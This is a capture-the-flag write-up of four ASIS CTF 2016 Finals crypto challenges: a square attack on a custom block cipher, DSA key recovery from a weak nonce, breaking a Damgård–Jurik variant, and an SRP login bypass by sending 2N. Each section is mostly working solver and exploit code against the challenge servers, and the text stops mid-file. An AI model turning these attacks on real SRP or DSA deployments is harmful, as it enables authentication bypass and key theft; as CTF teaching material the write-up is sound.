Writeup of ASIS CTF 2016 Final

Only9 (Crypto 380pts)

Observation

First I read the program source and I noticed below.

Therefore I wrote the program that visualizes the differences.

matrix = [
    [1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0],
    [0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1],
    [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0],
    [0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
    [0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0],
    [0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0],
    [0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1],
    [0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0],
    [0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0],
    [1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0],
    [1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0],
    [0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0],
    [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0],
    [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0],
    [0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
    [0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1],
]

def show(a)
  a.map{|a|a > 9 ? '*' : a == 0 ? ' ' :a.to_s}.join
end
16.times do |i|
  a = Array.new(16,0)
  a[i] = 1
  puts show(a)
  9.times do |r|
    b = Array.new(16,0)
    matrix.each.with_index do |row, i|
      row.each.with_index do |type, j|
        if type == 1
          b[i] += a[j]
        end
      end
    end
    a = b
    puts show(a)
  end
  puts
  puts
end
$ ruby permutation.rb
1               
1        11     
1   21   23     
1  176   36   3 
1  ***  44*1  * 
1  ***  *5**51* 
1 6*** 1*6***** 
1 ****1**7*****7
28*******8******
****************


 1              
11       1      
21  1    32     
31  63   67   1 
41 4**  1**   * 
51 ***  ***51 * 
611***  *****6* 
71**** 7*******1
82****8*********
****************


  1             
  1    1       1
 11   22       3
361   73 1     6
**1 1 *4 *4    *
**1 *5*5 **   1*
**16***61**   **
**1****7***71 **
**2****8*****8**
****************


   1            
   1    1  1    
   1    2  321  
  31   13  676  
  *1  1*4  *** 4
15*1  **5  *** *
***1  **661*** *
***171**7***** *
***2****8*****8*
****************


    1           
    11        1 
   212  1     3 
   713  6  31 6 
  1*14  *  **4* 
  **15 5*  ****1
 1**166**  *****
7***17***1 *****
****28****8*****
****************


     1          
   1 1        1 
   3 1  2  1  2 
   6 1  7  6313 
  4* 1 1*  ***4 
  ** 11**  ***55
16** 1***  ***6*
**** 1***71***7*
****82********8*
****************


      1         
11    1         
32    1  21     
63  311  76     
*4 1**1  **   4 
*5 ***1 5**1  * 
*6 ***1 ****61* 
*77***11******* 
*8****2********8
****************


       1        
      11       1
12    31       2
67    61 31    3
**  41*1 **    4
** 1***1 **   55
** ****16**1  *6
** ****1****71*7
**8****2*******8
****************


        1       
        1  11   
  1     1  232  
  6    31  367 1
 1*   4*1  4** *
5**   **11 5** *
*** 1 **1*66** *
*** *7**1**7**1*
***8****2**8****
****************


         1      
    1    11     
    32   12   1 
   367  113   6 
   ***  *1441 * 
  1***  *15**5* 
  **** 6*16****1
 1****7**17*****
8********28*****
****************


          1     
    11    1     
   123    1   2 
   636  3 11  7 
   *4*  * 1*41* 
  5*5* 1* 1**** 
  **6*1** 1****6
17**7**** 1*****
****8****82*****
****************


           1    
           111  
  2    1   123  
  7   16   136 3
14*   **   14* *
***   ** 5115* *
*** 61** **16* *
***1**** **17*7*
********8**28***
****************


            1   
  1         11  
  3    2    12 1
 16   37    13 6
4**   ** 1  14 *
*** 1 ** *5 15 *
*** *6** ** 161*
***7****1** 17**
***********828**
****************


             1  
  1    1     1  
  2   13     1 2
133   66     1 7
**4   ** 41  1 *
**5 51** **  1 *
**61**** **  16*
**7*****7**1 1**
**8*********82**
****************


              1 
   1    1     1 
   2    3  21 1 
  13    6  7631 
  *4   4*  ***11
 1*5  5**  ***1*
6**6  ***1 ***1*
***71 ****7***1*
***8*8********2*
****************


               1
 1    1        1
23    2  1     1
76  1 3  63    1
**  *44  **   11
** 5**5 1**   *1
** ***6 ***61 *1
**1***7 *****7*1
******88*******2
****************

It means that I can use square-attack.

Programs

Main solver

require 'ctf'
SBOX = [
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
]
SBOXINV = SBOX.each.with_index.sort.map{|a,b| b}
M = [
    [1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0],
    [0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1],
    [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0],
    [0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
    [0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0],
    [0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0],
    [0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1],
    [0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0],
    [0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0],
    [1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0],
    [1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0],
    [0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0],
    [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0],
    [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0],
    [0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
    [0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1],
]
MINV = [
[1,0,1,0,0,1,1,0,1,1,1,1,0,1,1,1],
[1,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1],
[1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1],
[1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,1],
[1,0,1,0,1,1,1,0,1,1,0,1,0,1,1,1],
[0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0],
[1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,0],
[1,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1],
[0,1,1,0,0,1,1,1,1,1,1,1,1,0,1,0],
[0,1,1,1,1,0,1,1,0,1,1,1,1,0,1,0],
[1,1,0,1,1,1,0,1,1,0,1,0,1,1,0,1],
[1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1],
[1,0,1,1,1,1,1,0,1,1,0,0,1,1,0,1],
[0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0],
[1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1],
[0,1,1,0,0,1,1,0,1,1,1,1,0,1,1,1],
]
first = true

def recur(data, kcandi)
  if kcandi.size == data.size
    r = [0] * 16
    M.each.with_index do |row,i|
      row.each.with_index do |type,j|
        if type == 1
          r[i] ^= kcandi[j]
        end
      end
    end
    return [r]
  else
    ret = []
    d = data[kcandi.size]
    d[d.index(-1)+1..-1].each do |t|
      ret += recur(data, kcandi + [t])
    end
    return ret
  end

end
 

def get_key_candi
  data = File.read("result").lines.map{|a|a.split.map(&:to_i)}
  recur(data, [])
end

TCPSocket.open(*ARGV) do |s|
  s.echo = true
  s.expect(" flag: ")
  flag = s.gets
  File.write("flag.dat", flag)
  d = []
  s.gets
  16.times do |i|
    dat = Array.new(16,0)
    256.times do |j|
      dat[i] = j
      s.print dat.map{|a|'%02x' % a}.join + "\n"
      s.flush
      data, _, enc = s.gets.split
      p [data,enc]
      d << [data,enc]
    end
    256.times do
    end
  end
  File.write("data", d.map{|a,b| "%s %s" % [a,b]}.join("\n"))
  puts "DATA GET END"
  system "./a.out < data > result"
end

def apply_matrix(data, matrix)
  r = [0]*16
  matrix.each.with_index do |row,i|
    row.each.with_index do |type,j|
      if type == 1
        r[i] ^= data[j]
      end
    end
  end
  r
end
KEY_CONST = [0xde, 0xad, 0xbe, 0xee, 0xef, 0x01, 0x02, 0x03, 0xff, 0xfe, 0xfd, 0xfc, 0xaa, 0xbb, 0xcc, 0xdd]
def decrypt(flag, key)
  data = flag
  8.downto(0) do |r|
    data = data.zip(key).map{|a,b|a^b}
    data = apply_matrix(data, MINV)
    data = data.map{|a|SBOXINV[a]}
  
    key = key.zip([SBOX[r]] * 16).map{|a,b| a^b}
    key = key.zip(KEY_CONST).map{|a,b| a^b}
    key = apply_matrix(key, MINV)
  end
  data = data.zip(key).map{|a,b|a^b}
  data
end
flag = File.read('flag.dat').strip
get_key_candi.each do |key_candi|
  p decrypt([flag].pack("H*").unpack("C*"), key_candi).pack("C*")
end

Equation generator.

#include <iostream>
#include <vector>
#include <sstream>
using namespace std;
unsigned char SBOXINV[256] =
{
   0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
   0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
   0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
   0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
   0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
   0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
   0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
   0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
   0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
   0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
   0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
   0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
   0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
   0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
   0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
   0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D};
int MINV[16][16] = {
{1,0,1,0,0,1,1,0,1,1,1,1,0,1,1,1},
{1,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1},
{1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1},
{1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,1},
{1,0,1,0,1,1,1,0,1,1,0,1,0,1,1,1},
{0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0},
{1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,0},
{1,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1},
{0,1,1,0,0,1,1,1,1,1,1,1,1,0,1,0},
{0,1,1,1,1,0,1,1,0,1,1,1,1,0,1,0},
{1,1,0,1,1,1,0,1,1,0,1,0,1,1,0,1},
{1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1},
{1,0,1,1,1,1,1,0,1,1,0,0,1,1,0,1},
{0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0},
{1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1},
{0,1,1,0,0,1,1,0,1,1,1,1,0,1,1,1},
};
int M[16][16] = 


{
    {1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0},
    {0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1},
    {0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0},
    {0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0},
    {0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0},
    {0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0},
    {0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1},
    {0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0},
    {0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0},
    {1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0},
    {1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0},
    {0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0},
    {0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0},
    {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0},
    {0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0},
    {0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1},
};

typedef unsigned char uchar;

int hex2int(char c) {
  if('0' <= c && c <= '9') {
    return c - '0';
  } else if (c >= 'a' && c <= 'f') {
    return c - 'a' + 10;
  }else {
    cerr << c << endl;
    cerr << "ERROR" << endl;
  }
}

vector<uchar> parse(string h) {
  stringstream ss;
  vector<uchar> ret;
  unsigned int tmp;
  for(int i = 0; i < h.size() / 2; i++) {
    char a1 = h[i * 2 + 0];
    char a2 = h[i * 2 + 1];
    ret.push_back(hex2int(a1)*  16 + hex2int(a2));
  }
  return ret;
}

vector<vector<pair<vector<uchar>, vector<uchar>>>> in(16);
int solve(int idx) {
  unsigned char key[16];
  vector<int> tgt;
  int ord = 0;
  for(int i = 0; i < 16; i++) {
    if(MINV[idx][i] == 1) {
      tgt.push_back(i);
      cout << i << " ";
    }
  }
  cout << "-1" << " ";
  for(int k = 0; k < 256; k++) {
    unsigned char tmp2 = 0;
    for(int i = 0; i < 256; i++) {
      auto t = in[idx][i].second;
      unsigned char tmp = 0;
      for(int j = 0; j < tgt.size(); j++) {
        tmp ^= t[tgt[j]];
      }
      tmp ^= k;
      tmp2 ^= SBOXINV[tmp];
    }
    //printf("%d: %d=%d,%d=%d,%d=%d\n", tmp2, tgt[0], key[tgt[0]],tgt[1], key[tgt[1]],tgt[2], key[tgt[2]]);
    if(tmp2 == 0) {
      cout << k << " ";
    }
  }
  cout << endl;
}

int main() {
  for(int i = 0; i < 16; i++) {
    for(int j = 0; j < 256; j++) {
    string a,b;
    cin >> a >> b;
    in[i].emplace_back(parse(a), parse(b));
    }
  }
  cerr << "DATA READ END" << endl;
  for(int i = 0; i < 16; i++) {
    solve(i);
  }
  
}

DSA (Crypto 333pts)

The vulnerability is here. k is weak.

def sign(msg, privkey, params):
    p, q, g = params
    while True:
        k = getRandomRange(1, 1024) * pow(pubkey, privkey, p) % q
        r = pow(g, k, p) % q
        s = invert(k, q) * ( int(sha512(msg).hexdigest(), 16) + privkey * r) % q
        if r*s != 0 :
            break
    return (int(r), int(s))

It assumed that k=tC(1t1024)

s1=(t1C)1(h1+xr1)

s2=(t2C)1(h2+xr2)

Divide them.

s1s2=t1t2h1+xr1h2+xr2

t1t2a is bruteforcable because of 1t1,t21024.
We can get x from the equation. We can check taht x is correct when k1=t1pubkeyx.(pubkey is calcualted from x)

// g++ solve.cpp -O3 -fopenmp -lgmp -lgmpxx -std=c++0x
#include <gmpxx.h>
#include <cassert>
#include <iostream>
#include <vector>
using namespace std;
const int S = 40;
vector<mpz_class> h(S), r(S), s(S);

// mpz_class p("7012029018398995176912137390884575043618232017042187077304594997813247159410215635706444870632210617730351292773090618012265860014299456603718267952559469488206498134010536144455018726129628682111599321235150067213412258809327709561022855699306160712656251481349108116290635898020209826290118858142299380951813980506786516726120245830901083494262220858247696571858914677762650380320167");
mpz_class p("19990043472646209601994864878783430356973105946195950979159251182377121897576105462833887676561348770957108482823143337701724893247634876231133001112659622843245186144815694000013210989382541478073551247763586093331215996260234193847013210807939190828438263706901950228866893621933887960930392778176297205331569773161563794018138992335091883899396920586572927792555042350138728812073331");
//mpz_class q ("169507055063332372751020080856259729938542834951434319075450609457456931007844219014641246299081375264942401053996043549687347094954162966870039544358018000698107915279251095113618184874634040631126769259205284421390306494773076266808763069517445886062016254515144807022594305897931231887300309319222963499167");
mpz_class q("91629484598379105033512409529628860433949558415030791938154302542936417405614272511539966765257644706180090102931421315331051281240103609205686784098900471134711603588304765157414857991689054932897002635007537146809343047302801243835776634361209432398032301656027511721047704054332653738042312201931970395721");
//mpz_class g("6103173640964507661706894012844096915505723660162743099979676959902952908906717305189626169638215800733337026484499868986148141352215698993270327266418451192093364446385295506475345981026012142612045237576867377837398075011175709064540958438633035561113515294380503233366036981390189285349198459110400563877346001656931822490778224258710723633423057128233408032484999727255419688647753");

mpz_class g("13622145302845273763875935516952425125176393702394844695432724066597834898277677169908234619701079219174550050531086255052810547971127992364106395259623997686454799745423099095097056224348731737512112568608406081844751809559052204755863089238863185755017905098158596830866362329243334855589147537151782745634416243769180780246626300677625340613515232605024658651528787608437872606367959");

mpz_class pow(mpz_class a, mpz_class b, mpz_class mod) {
  mpz_class ret;
  mpz_powm(ret.get_mpz_t(), a.get_mpz_t(), b.get_mpz_t(), mod.get_mpz_t());
  return ret;
}
mpz_class invert(mpz_class a, mpz_class mod) {
  mpz_class ret;
  mpz_invert(ret.get_mpz_t(), a.get_mpz_t(),mod.get_mpz_t());
  return ret;
}
bool found(int k, mpz_class privkey, mpz_class r) {
  mpz_class kk = k * pow(g, privkey * privkey, p) % q;
  mpz_class rr = pow(g, kk, p) % q;
  return rr == r;
}
int main(int argc, char **argv) {
  for(int i = 0; i < S; i++) {
    cin >> h[i] >> r[i] >> s[i];
  }
  int first = atoi(argv[1]);
  int second = atoi(argv[2]);
  auto s1 = s[0];
  auto s2 = s[1];
  auto r1 = r[0];
  auto r2 = r[1];
  auto h1 = h[0];
  auto h2 = h[1];
  auto s2inv = invert(s2, q);
#pragma omp parallel for
  for(int k1 = first; k1 <= second; k1++) {
    auto k1inv = invert(k1, q);
    cout << k1 << endl;
    for(int k2 = 1; k2 <= 1024; k2++) {
      mpz_class t = k1inv * k2 % q;
      mpz_class C = s1 * invert(t * s2, q) % q;
      mpz_class x = (q + h1 - C * h2 % q) * invert(C * r2 - r1, q) % q;
      if(found(k1, x, r1)) {
        cout << "FOUND" << endl;
        cout << x << endl;
      }
    }
  }
}
$ ./solve 1 1024 < signs-input
...
674
FOUND
13405794397027679851766302830116697563541261501776337220523988894696969876958854611815044419994727829060251052724309205554818698701101856332535587814503005528188299263565994987363921499149751791947144050037159117421558866574623020970278035747595145840878487054994406987881434333137518555261566073870075002181
...

input generator(creates signs-input from signs

require 'digest/sha2'
require 'set'
require 'pp'
require 'ctf'
include CTF::Math

def hash(message)
  Digest::SHA512.hexdigest(message).to_i(16)
end

def parse_signs
  File.read('./signs.txt').lines.map do |line|
    data, r, s = line.chomp[1..-2].split(',')
    data = data[1..-2]
    r = r.to_i
    s = s.to_i
    [data, r, s]
  end
end

def gen_signs
  File.read('./signs.txt').lines.map do |line|
    data, r, s = line.chomp[1..-2].split(',')
    data = data[1..-2]
    r = r.to_i
    s = s.to_i
    [data, r, s]
    puts '%d %d %d' % [hash(data), r, s]
  end
end

gen_signs

Dam (Crypto 277pts)

The server tells us the encryption function and key generation function.

def get_keypair(kbit, u):
    l = getRandomRange(kbit >> 4, kbit)
    p = long(gmpy.next_prime(2 << l))
    q = long(getPrime(kbit - l - 1))
    n = p * q
    d = (p-1)*(q-1) / GCD(p-1, q-1)
    r = getRandomRange(1, n-1)
    while True:
        t = getRandomRange(1, n-1)
        if GCD(t, n) == 1:
            break
    g = pow(n+1, t, n**(u+1)) * r % n**(u+1)
    pubkey = (n, g, u)
    privkey = (n, d)
    return pubkey, privkey

def encrypt(msg, pubkey):
    n, g, u = pubkey
    u += 1
    r = getRandomRange(1, n**u - 1)
    enc = pow(g, msg, n**u) * pow(r, n**u, n**u) % n**u
    return enc

This is almost Damgård–Jurik_cryptosystem.
So I wrote the decrypt program with wikipedia.

import gmpy
from Crypto.Util.number import *

def decrypt_part(m, u, n):
    cur = 0
    for i in range(1, u + 1):
        t1 = m % (n ** (i + 1))
        t1 = (t1 - 1) / n
        t2 = cur
        for j in range(2, i + 1):
            cur -= 1
            t2 = (t2 * cur) % (n ** i)
            t3 = 1
            for k in range(0, j):
                t3 *= k + 1
            t3 = t2 * inverse(t3, n ** i) % (n ** i)
            t3 = t3 * (n ** (j - 1))
            t3 %= n ** i
            t1 = (t1 - t3) % (n ** i)
        cur = t1
    return cur

def decrypt(c, privkey, pubkey):
    n, d = privkey
    n, g, u = pubkey
    # calulate r, t
    r = g % n
    t = (g * inverse(r, n ** (u + 1)) - 1) / n % n

    # calculate r ^ d = (n + 1) ^ k
    rd = pow(r, d, n ** (u + 1))
    assert (rd - 1) % n == 0
    k = decrypt_part(rd, u, n)
    assert rd == pow(n + 1, k, n ** (u + 1))

    m = pow(c, d, n ** (u + 1))

    cur = decrypt_part(m, u, n)
    return cur * inverse(t * d + k, n) % (n)

(n, g, u) = (10452239394054422206480825860664105152376086544365480449026779713737129458368184734425697335929925280760914026195823114457657948861864987722505400748365351L, 634636095542879898310807215086588887336268436220987689887282615844580743832923437558714441455665632371623122618768330262401677266558841983374928917040170273747536747741255645201254845324050569102682769538018070095091689890852960606799955971765975025860272848049698122908514550930941026038101032006916270022131029186563349352511170896866175784528454835471543091261146808058357397102594128113948415918001451706825616887742679720127131553233144377447514862535660702006224703250384253757582443706688756835083685581475020343243301112264411294550585904224409065144568186927499266597861170800026594561310856357939597217405638743482462144156433233926697551501838245537165285729460779766746236372731528657524341389350868499271724528934281274689280940252068596972279660236131166749482092504236440386288848947853429780114963212676082927468760912315684475808644162917723889402142791293498978694932926315651048247503355279874938916353449L, 5)
c = 129464779577730518385246645077822096756224203111979780809931984689281312786281483505097776832314054139314166621948634036760386390378122826063130122395224755203778613885336996018435744611204936952270152054519582431575533877594488844447494230408857577555307150130085220328314295351977846457092604642404724141949131971977918590277539706949527069918352961931008506678071098545836596478974429714499765647829583662655160374714697977728977048015661890731730292082908665770180652307193018508426610968212983054972508513266365012176287101952923378361372385669419462776701446392712560456977342509712178478794145481023084927653964122377545502071047254424722337946088235528556931601539949434749351638755818280102114951418275592154623813799675032174647678933602323299377954955056118788644806843033903952355845826031829485809037780660240243240880971482286045274365351610975490726733807335377425616023831088859252574711506841277679812607961
p = 0
q = 0
for i in range(1, 513):
    if n % gmpy.next_prime(1 << i) == 0:
        p = gmpy.next_prime(1 << i)
q = n / p
d = (p-1)*(q-1) / GCD(p-1, q-1)
print decrypt(c, (n, d), (n, g, u))
$ python decrypt.py
8316878930812149141839490075232000210773671697870752623724258323158053173169664563001702525

$ irb
irb(main):001:0> 8316878930812149141839490075232000210773671697870752623724258323158053173169664563001702525
=> 8316878930812149141839490075232000210773671697870752623724258323158053173169664563001702525 (0x415349537b37633632663132653765366630386639663533363565343535383864333464387d) "ASIS{7c62f12e7e6f08f9f5365e45588d34d8}"

SRPP (Crypto 231pts)

The vulnerability is here.

    71                  try:
    72                      email, A = ans.split(',')
    73                      A = int(A)
    74                      assert (A != 0 and A != N), client.send('Are you kidding me?! :P' + '\n')

We can send 2N as A.

require 'ctf'
require 'base64'
require 'digest/sha2'

def hash(*args)
  Digest::SHA256.hexdigest(args.join(':')).to_i(16)
end
TCPSocket.open(*ARGV) do |s|
  s.echo = true
  b = s.expect(/"(.+)"\)/)[1]
  sha256 = s.expect(/"(.+)"/)[1]
  s.print `echo #{b} #{sha256} | ./a.out`.split[0]
  s.gets
  s.gets
  s.gets
  s.gets
  s.gets
  n, g, k = s.gets.split('=')[2].gsub(/[\(\)L\s]/, '').split(',').map(&:to_i)
  p [n, g, k]
  s.print "admin@asis-ctf.ir, #{2 * n}\n"
  s.gets
  salt, b = s.gets.split('=', 2)[1].gsub(/[\(\)\s]/, '').split(',')
  p [salt, b]
  s.flush
  s.print hash(0).to_s + "\n"
  s.flush
  p hash(n) ^ hash(g)
  s.print hash(hash(n) ^ hash(g), hash('admin@asis-ctf.ir'), Base64.decode64(salt), 2 * n, b, hash(0)).to_s + "\n"
  

  s.interactive! 
end

PoW Solver

#include <openssl/sha.h>
#include <cstdio>
#include <cstdlib>
#include <cstring>
unsigned char result[300];
unsigned char sha512[400];
unsigned char sha256[400];
unsigned char temp[256 / 8];
const char chars[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
int to_i(unsigned char t) {
  if('0' <= t && t <= '9')
    return t - '0';
  else if('a' <= t && t <= 'f')
  return t - 'a' + 10;
  else
    return 0;
}
int main() {
